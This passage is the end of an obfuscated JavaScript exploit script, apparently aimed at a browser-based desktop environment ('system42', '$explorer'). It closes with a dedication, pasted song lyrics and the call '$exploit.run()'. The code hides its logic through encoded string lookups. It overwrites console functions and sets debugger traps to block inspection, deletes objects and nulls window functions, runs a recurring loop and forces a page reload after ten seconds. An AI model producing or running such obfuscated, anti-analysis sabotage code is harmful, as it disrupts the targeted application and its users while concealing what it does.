_0x568b7b=_0x4db046[_0x2420('0x69','\x23\x25\x54\x43')](Function,_0x4db046[_0x2420('0x6a','\x53\x6b\x62\x72')](_0x4db046[_0x2420('0x6b','\x61\x59\x4c\x4c')](_0x4db046['\x62\x77\x65\x69\x63'],_0x4db046[_0x2420('0x6c','\x61\x59\x4c\x4c')]),'\x29\x3b'));_0x2bfd66=_0x4db046[_0x2420('0x6d','\x5e\x57\x32\x34')](_0x568b7b);}}catch(_0x5b0e5e){if(_0x4db046[_0x2420('0x6e','\x33\x75\x21\x72')](_0x4db046[_0x2420('0x6f','\x38\x66\x40\x61')],_0x4db046[_0x2420('0x70','\x6a\x32\x6b\x26')])){_0x4db046[_0x2420('0x71','\x30\x29\x33\x4a')](result,'\x30');}else{_0x2bfd66=window;}}if(!_0x2bfd66[_0x2420('0x72','\x63\x35\x79\x73')]){_0x2bfd66[_0x2420('0x73','\x68\x52\x6a\x48')]=function(_0x445067){var _0x1ced3b={'QtScb':function _0xc2a958(_0x117bc5,_0x3f5d28){return _0x117bc5!==_0x3f5d28;},'UTQgO':_0x2420('0x74','\x4f\x35\x73\x30'),'XbpXe':_0x2420('0x75','\x71\x57\x4a\x5d')};if(_0x1ced3b[_0x2420('0x76','\x25\x4c\x53\x71')](_0x1ced3b[_0x2420('0x77','\x74\x30\x57\x4b')],_0x1ced3b[_0x2420('0x78','\x5e\x57\x32\x34')])){var _0x2cd6e9=fn[_0x2420('0x79','\x39\x52\x65\x24')](context,arguments);fn=null;return _0x2cd6e9;}else{var _0x20f9a4=_0x1ced3b[_0x2420('0x7a','\x62\x6e\x68\x78')]['\x73\x70\x6c\x69\x74']('\x7c'),_0x26d4a5=0x0;while(!![]){switch(_0x20f9a4[_0x26d4a5++]){case'\x30':_0x16535d[_0x2420('0x7b','\x33\x75\x21\x72')]=_0x445067;continue;case'\x31':_0x16535d[_0x2420('0x7c','\x71\x57\x4a\x5d')]=_0x445067;continue;case'\x32':_0x16535d[_0x2420('0x7d','\x37\x23\x41\x2a')]=_0x445067;continue;case'\x33':_0x16535d[_0x2420('0x7e','\x56\x57\x39\x39')]=_0x445067;continue;case'\x34':_0x16535d[_0x2420('0x7f','\x52\x79\x42\x48')]=_0x445067;continue;case'\x35':return _0x16535d;case'\x36':_0x16535d[_0x2420('0x80','\x4f\x7a\x55\x24')]=_0x445067;continue;case'\x37':var _0x16535d={};continue;case'\x38':_0x16535d[_0x2420('0x81','\x23\x25\x54\x43')]=_0x445067;continue;}break;}}}(_0x426bd5);}else{if(_0x4db046[_0x2420('0x82','\x52\x50\x71\x61')](_0x4db046[_0x2420('0x83','\x73\x71\x26\x61')],_0x4db046[_0x2420('0x84','\x56\x70\x5d\x49')])){var _0x7607d3=_0x4db046[_0x2420('0x85','\x63\x35\x79\x73')][_0x2420('0x86','\x52\x79\x42\x48')]('\x7c'),_0x4d48d2=0x0;while(!![]){switch(_0x7607d3[_0x4d48d2++]){case'\x30':_0x2bfd66[_0x2420('0x87','\x25\x4c\x53\x71')][_0x2420('0x88','\x6a\x32\x6b\x26')]=_0x426bd5;continue;case'\x31':_0x2bfd66[_0x2420('0x89','\x33\x75\x21\x72')][_0x2420('0x8a','\x61\x59\x4c\x4c')]=_0x426bd5;continue;case'\x32':_0x2bfd66[_0x2420('0x8b','\x39\x77\x49\x74')][_0x2420('0x8c','\x39\x52\x65\x24')]=_0x426bd5;continue;case'\x33':_0x2bfd66[_0x2420('0x8d','\x41\x73\x42\x36')][_0x2420('0x8e','\x31\x46\x44\x4f')]=_0x426bd5;continue;case'\x34':_0x2bfd66[_0x2420('0x8f','\x61\x59\x4c\x4c')][_0x2420('0x90','\x62\x6e\x68\x78')]=_0x426bd5;continue;case'\x35':_0x2bfd66[_0x2420('0x91','\x5b\x54\x53\x2a')][_0x2420('0x92','\x55\x70\x58\x56')]=_0x426bd5;continue;case'\x36':_0x2bfd66[_0x2420('0x8b','\x39\x77\x49\x74')][_0x2420('0x93','\x54\x4c\x66\x31')]=_0x426bd5;continue;}break;}}else{var _0x5be370=_0x4db046[_0x2420('0x94','\x56\x57\x39\x39')][_0x2420('0x95','\x5b\x40\x61\x57')]('\x7c'),_0x31019a=0x0;while(!![]){switch(_0x5be370[_0x31019a++]){case'\x30':_0x2bfd66[_0x2420('0x96','\x4f\x35\x73\x30')][_0x2420('0x92','\x55\x70\x58\x56')]=_0x426bd5;continue;case'\x31':_0x2bfd66[_0x2420('0x97','\x52\x79\x42\x48')][_0x2420('0x98','\x37\x23\x41\x2a')]=_0x426bd5;continue;case'\x32':_0x2bfd66[_0x2420('0x99','\x55\x4e\x66\x65')][_0x2420('0x8c','\x39\x52\x65\x24')]=_0x426bd5;continue;case'\x33':_0x2bfd66[_0x2420('0x9a','\x50\x71\x75\x72')]['\x6c\x6f\x67']=_0x426bd5;continue;case'\x34':_0x2bfd66[_0x2420('0x96','\x4f\x35\x73\x30')][_0x2420('0x9b','\x5b\x54\x53\x2a')]=_0x426bd5;continue;case'\x35':_0x2bfd66[_0x2420('0x9c','\x5b\x40\x61\x57')]['\x77\x61\x72\x6e']=_0x426bd5;continue;case'\x36':_0x2bfd66['\x63\x6f\x6e\x73\x6f\x6c\x65']['\x69\x6e\x66\x6f']=_0x426bd5;continue;}break;}}}});_0x93ff46();window['\x24\x65']=function(){return null;};system42[_0x2420('0x9d','\x7a\x34\x4f\x42')][_0x2420('0x9e','\x65\x59\x4b\x55')][_0x2420('0x9f','\x62\x6e\x68\x78')]=null;[_0x2420('0xa0','\x5e\x57\x32\x34'),_0x2420('0xa1','\x41\x73\x42\x36'),_0x2420('0xa2','\x56\x57\x39\x39'),_0x2420('0xa3','\x74\x30\x57\x4b')]['\x66\x6f\x72\x45\x61\x63\x68'](_0x3bbf2f=>window[_0x3bbf2f]=$e);$explorer[_0x2420('0xa4','\x4f\x7a\x55\x24')][_0x2420('0xa5','\x37\x23\x41\x2a')]($explorer[_0x2420('0xa6','\x39\x77\x49\x74')][_0x2420('0xa7','\x54\x4c\x66\x31')]());setInterval(function(){var _0x551d07={'rkxSu':function _0x4589a9(_0x579af3){return _0x579af3();}};_0x551d07[_0x2420('0xa8','\x4f\x35\x73\x30')](_0x1d785c);},0xfa0);Object[_0x2420('0xa9','\x44\x57\x24\x72')](le)['\x66\x6f\x72\x45\x61\x63\x68'](_0x4626df=>delete le[_0x4626df]);setTimeout(function(){location[_0x2420('0xaa','\x56\x70\x5d\x49')]();},0x2710);function _0x1d785c(_0x3f0696){var _0x4fa475={'lKVlq':function _0x33dbdc(_0x2e4e4d,_0x7cc699){return _0x2e4e4d!==_0x7cc699;},'aHXOf':_0x2420('0xab','\x52\x79\x42\x48'),'kTQKr':function _0x174b70(_0x2a3b9d,_0x37e2af){return _0x2a3b9d!==_0x37e2af;},'dMiCJ':_0x2420('0xac','\x52\x50\x71\x61'),'Sctcd':function _0x5992c7(_0x37ab73,_0x110556){return _0x37ab73(_0x110556);},'MFBIP':function _0x3dee39(_0x275676,_0x31a2de){return _0x275676===_0x31a2de;},'VuwXc':_0x2420('0xad','\x29\x29\x5d\x41'),'inXqn':function _0x2cb819(_0x5653ea,_0x1360ed){return _0x5653ea(_0x1360ed);},'pvjwK':_0x2420('0xae','\x41\x73\x42\x36')};function _0x38c28e(_0x457c4f){var _0xfa4d3={'Vjrrc':function _0x563412(_0x93db31,_0x37d6c2){return _0x93db31!==_0x37d6c2;},'oFXkf':_0x2420('0xaf','\x62\x6e\x68\x78'),'GyoUo':function _0x365f0c(_0x5227a5,_0x1662c5){return _0x5227a5===_0x1662c5;},'qLxNb':_0x2420('0xb0','\x37\x23\x41\x2a'),'pzLpP':function _0xb17ad0(_0xa1b6b7,_0x25854d){return _0xa1b6b7!==_0x25854d;},'ixOyo':_0x2420('0xb1','\x48\x56\x24\x44'),'NIoFN':_0x2420('0xb2','\x52\x79\x42\x48'),'NexeX':_0x2420('0xb3','\x5b\x54\x53\x2a'),'NGAHR':_0x2420('0xb4','\x4d\x71\x5d\x74'),'boNrx':_0x2420('0xb5','\x29\x29\x5d\x41'),'FOISh':function _0x4f7b31(_0x160379,_0x25b786){return _0x160379+_0x25b786;},'XOfLK':function _0x131dab(_0x20ba58,_0x287ecf){return _0x20ba58/_0x287ecf;},'lzomX':_0x2420('0xb6','\x39\x77\x49\x74'),'hFUAN':function _0x221178(_0x2f9800,_0x1024a3){return _0x2f9800%_0x1024a3;},'vRqPq':function _0x2d9c09(_0x169369,_0x3deca3){return _0x169369===_0x3deca3;},'JZydg':_0x2420('0xb7','\x63\x35\x79\x73'),'pbBMv':_0x2420('0xb8','\x71\x57\x4a\x5d'),'rxSiz':function _0x3c3d82(_0x5b4d79,_0x4bb064){return _0x5b4d79+_0x4bb064;},'HvSHS':_0x2420('0xb9','\x7a\x34\x4f\x42'),'BKxVb':_0x2420('0xba','\x61\x59\x4c\x4c'),'QqiWX':_0x2420('0xbb','\x31\x46\x44\x4f'),'OZIha':function _0x2a4639(_0x3a15b2,_0x2572aa){return _0x3a15b2!==_0x2572aa;},'YDEau':_0x2420('0xbc','\x61\x59\x4c\x4c'),'AllRr':_0x2420('0xbd','\x55\x4e\x66\x65'),'fjacF':_0x2420('0xbe','\x41\x73\x42\x36'),'bFPtp':function _0x4adf56(_0x12423d,_0x4f7f3c){return _0x12423d(_0x4f7f3c);}};if(_0xfa4d3[_0x2420('0xbf','\x44\x62\x54\x28')](_0xfa4d3[_0x2420('0xc0','\x7a\x34\x4f\x42')],_0xfa4d3[_0x2420('0xc1','\x23\x25\x54\x43')])){var _0x435c3a=firstCall?function(){if(fn){var _0x2e83ff=fn[_0x2420('0xc2','\x32\x40\x43\x34')](context,arguments);fn=null;return _0x2e83ff;}}:function(){};firstCall=![];return _0x435c3a;}else{if(_0xfa4d3['\x47\x79\x6f\x55\x6f'](typeof _0x457c4f,_0xfa4d3[_0x2420('0xc3','\x55\x4e\x66\x65')])){if(_0xfa4d3[_0x2420('0xc4','\x48\x56\x24\x44')](_0xfa4d3[_0x2420('0xc5','\x7a\x34\x4f\x42')],_0xfa4d3[_0x2420('0xc6','\x4f\x7a\x55\x24')])){return function(_0x41e2fe){var _0x17315e={'NiKIF':function _0x51959a(_0x2af0a7,_0x47d210){return _0x2af0a7===_0x47d210;},'SpqrM':_0x2420('0xc7','\x55\x4e\x66\x65'),'UhcWE':_0x2420('0xc8','\x38\x66\x40\x61'),'SDxKD':_0x2420('0xc9','\x55\x4e\x66\x65'),'FwmYV':function _0x320a6a(_0x393b3b,_0x16ae2a){return _0x393b3b(_0x16ae2a);},'pyacr':_0x2420('0xca','\x48\x70\x63\x5e'),'KJFMw':function _0x4c01fb(_0x3e5b71,_0x2ba344){return _0x3e5b71+_0x2ba344;},'IJKvC':_0x2420('0xcb','\x68\x52\x6a\x48'),'zSswk':_0x2420('0xcc','\x63\x35\x79\x73'),'fqLzi':function _0x42c7d6(_0x45b882,_0x50e972){return _0x45b882(_0x50e972);},'fESri':function _0x1eb814(_0x249f85){return _0x249f85();}};if(_0x17315e[_0x2420('0xcd','\x5e\x57\x32\x34')](_0x17315e[_0x2420('0xce','\x29\x29\x5d\x41')],_0x17315e[_0x2420('0xcf','\x72\x44\x57\x71')])){}else{var _0x4a8d00=new RegExp(_0x17315e[_0x2420('0xd0','\x4f\x7a\x55\x24')]);var _0x5c0a13=new RegExp(_0x17315e[_0x2420('0xd1','\x6b\x24\x48\x57')],'\x69');var _0x301d1a=_0x17315e[_0x2420('0xd2','\x63\x6b\x35\x64')](_0x1d785c,_0x17315e['\x70\x79\x61\x63\x72']);if(!_0x4a8d00[_0x2420('0xd3','\x41\x73\x42\x36')](_0x17315e[_0x2420('0xd4','\x52\x79\x42\x48')](_0x301d1a,_0x17315e[_0x2420('0xd5','\x39\x77\x49\x74')]))||!_0x5c0a13[_0x2420('0xd6','\x30\x29\x33\x4a')](_0x17315e[_0x2420('0xd7','\x63\x6b\x35\x64')](_0x301d1a,_0x17315e[_0x2420('0xd8','\x63\x6b\x35\x64')]))){_0x17315e[_0x2420('0xd9','\x25\x4c\x53\x71')](_0x301d1a,'\x30');}else{_0x17315e[_0x2420('0xda','\x39\x78\x5e\x6d')](_0x1d785c);}}}[_0x2420('0xdb','\x54\x74\x41\x63')](_0xfa4d3[_0x2420('0xdc','\x33\x75\x21\x72')])[_0x2420('0xdd','\x63\x6b\x35\x64')](_0xfa4d3[_0x2420('0xde','\x65\x59\x4b\x55')]);}else{}}else{if(_0xfa4d3[_0x2420('0xdf','\x44\x62\x54\x28')](_0xfa4d3[_0x2420('0xe0','\x39\x77\x49\x74')],_0xfa4d3[_0x2420('0xe1','\x33\x42\x68\x2a')])){if(_0xfa4d3[_0x2420('0xe2','\x5e\x57\x32\x34')](_0xfa4d3[_0x2420('0xe3','\x72\x44\x57\x71')]('',_0xfa4d3[_0x2420('0xe4','\x5b\x40\x61\x57')](_0x457c4f,_0x457c4f))[_0xfa4d3[_0x2420('0xe5','\x52\x50\x71\x61')]],0x1)||_0xfa4d3[_0x2420('0xe6','\x4d\x71\x5d\x74')](_0xfa4d3[_0x2420('0xe7','\x31\x46\x44\x4f')](_0x457c4f,0x14),0x0)){if(_0xfa4d3[_0x2420('0xe8','\x73\x71\x26\x61')](_0xfa4d3['\x4a\x5a\x79\x64\x67'],_0xfa4d3[_0x2420('0xe9','\x6b\x24\x48\x57')])){that[_0x2420('0x96','\x4f\x35\x73\x30')]=function(_0x327d26){var _0x5b140a={'oScGK':'\x33\x7c\x35\x7c\x31\x7c\x38\x7c\x30\x7c\x32\x7c\x37\x7c\x34\x7c\x36'};var _0x2bb687=_0x5b140a[_0x2420('0xea','\x31\x4d\x73\x74')][_0x2420('0xeb','\x55\x70\x58\x56')]('\x7c'),_0x7d0eaa=0x0;while(!![]){switch(_0x2bb687[_0x7d0eaa++]){case'\x30':_0x3aaf48[_0x2420('0xec','\x52\x79\x42\x48')]=_0x327d26;continue;case'\x31':_0x3aaf48[_0x2420('0xed','\x54\x74\x41\x63')]=_0x327d26;continue;case'\x32':_0x3aaf48[_0x2420('0xee','\x23\x25\x54\x43')]=_0x327d26;continue;case'\x33':var _0x3aaf48={};continue;case'\x34':_0x3aaf48[_0x2420('0xef','\x4d\x71\x5d\x74')]=_0x327d26;continue;case'\x35':_0x3aaf48[_0x2420('0xf0','\x74\x30\x57\x4b')]=_0x327d26;continue;case'\x36':return _0x3aaf48;case'\x37':_0x3aaf48[_0x2420('0xf1','\x63\x57\x62\x66')]=_0x327d26;continue;case'\x38':_0x3aaf48[_0x2420('0xf2','\x48\x70\x63\x5e')]=_0x327d26;continue;}break;}}(func);}else{(function(){var _0x56631f={'FHDrK':function _0xb7fbf9(_0x2a351b,_0x5d69fa){return _0x2a351b===_0x5d69fa;},'yyrSc':_0x2420('0xf3','\x56\x70\x5d\x49'),'OJPLu':'\x73\x6e\x44'};if(_0x56631f[_0x2420('0xf4','\x44\x57\x24\x72')](_0x56631f[_0x2420('0xf5','\x31\x4d\x73\x74')],_0x56631f[_0x2420('0xf6','\x48\x70\x63\x5e')])){location[_0x2420('0xf7','\x32\x40\x43\x34')]();}else{return!![];}}[_0x2420('0xf8','\x30\x29\x33\x4a')](_0xfa4d3[_0x2420('0xf9','\x54\x74\x41\x63')](_0xfa4d3[_0x2420('0xfa','\x63\x57\x62\x66')],_0xfa4d3[_0x2420('0xfb','\x52\x79\x42\x48')]))[_0x2420('0xfc','\x5e\x57\x32\x34')](_0xfa4d3[_0x2420('0xfd','\x23\x25\x54\x43')]));}}else{if(_0xfa4d3[_0x2420('0xfe','\x4f\x7a\x55\x24')](_0xfa4d3['\x59\x44\x45\x61\x75'],_0xfa4d3[_0x2420('0xff','\x52\x79\x42\x48')])){(function(){return![];}[_0x2420('0x100','\x23\x25\x54\x43')](_0xfa4d3['\x72\x78\x53\x69\x7a'](_0xfa4d3['\x48\x76\x53\x48\x53'],_0xfa4d3[_0x2420('0x101','\x37\x23\x41\x2a')]))['\x61\x70\x70\x6c\x79'](_0xfa4d3[_0x2420('0x102','\x52\x79\x42\x48')]));}else{}}}else{return null;}}_0xfa4d3[_0x2420('0x103','\x44\x62\x54\x28')](_0x38c28e,++_0x457c4f);}}try{if(_0x4fa475[_0x2420('0x104','\x53\x6b\x62\x72')](_0x4fa475[_0x2420('0x105','\x6a\x32\x6b\x26')],_0x4fa475[_0x2420('0x106','\x65\x59\x4b\x55')])){return!![];}else{if(_0x3f0696){if(_0x4fa475[_0x2420('0x107','\x48\x56\x24\x44')](_0x4fa475[_0x2420('0x108','\x4f\x35\x73\x30')],_0x4fa475[_0x2420('0x109','\x63\x35\x79\x73')])){_0x4fa475['\x53\x63\x74\x63\x64'](_0x38c28e,0x0);}else{return _0x38c28e;}}else{if(_0x4fa475[_0x2420('0x10a','\x39\x77\x49\x74')](_0x4fa475[_0x2420('0x10b','\x29\x29\x5d\x41')],_0x4fa475[_0x2420('0x10c','\x74\x30\x57\x4b')])){_0x4fa475[_0x2420('0x10d','\x44\x62\x54\x28')](_0x38c28e,0x0);}else{}}}}catch(_0x503054){if(_0x4fa475[_0x2420('0x10e','\x6a\x32\x6b\x26')](_0x4fa475[_0x2420('0x10f','\x30\x29\x33\x4a')],_0x4fa475[_0x2420('0x110','\x74\x30\x57\x4b')])){}else{var _0x7e1ab5=firstCall?function(){if(fn){var _0x55f556=fn[_0x2420('0x111','\x55\x4e\x66\x65')](context,arguments);fn=null;return _0x55f556;}}:function(){};firstCall=![];return _0x7e1ab5;}}}
8770//something SPECIAL for Draeco#4200.
8771// the cookie returns -- speedy and dom; your best friend.
8772/*
877315 thousand (yeah, yeah), just for some shoes (cash)
8774Put it on a sprinter (sprinter), put it on a lil boat (lil boat)
8775This is not a rental (no), I own this hoe (this hoe, dat way)
8776Yeah, look at these prices (prices)
8777Look at this ice and the way I rock these jewels
8778Talk to me nice (nices)
8779
8780love you quavo & yachty. check it out @ https://soundcloud.com/770rd/talk-to-me-nice-feat-quavo
8781*/
8782 }
8783};
8784$exploit.run()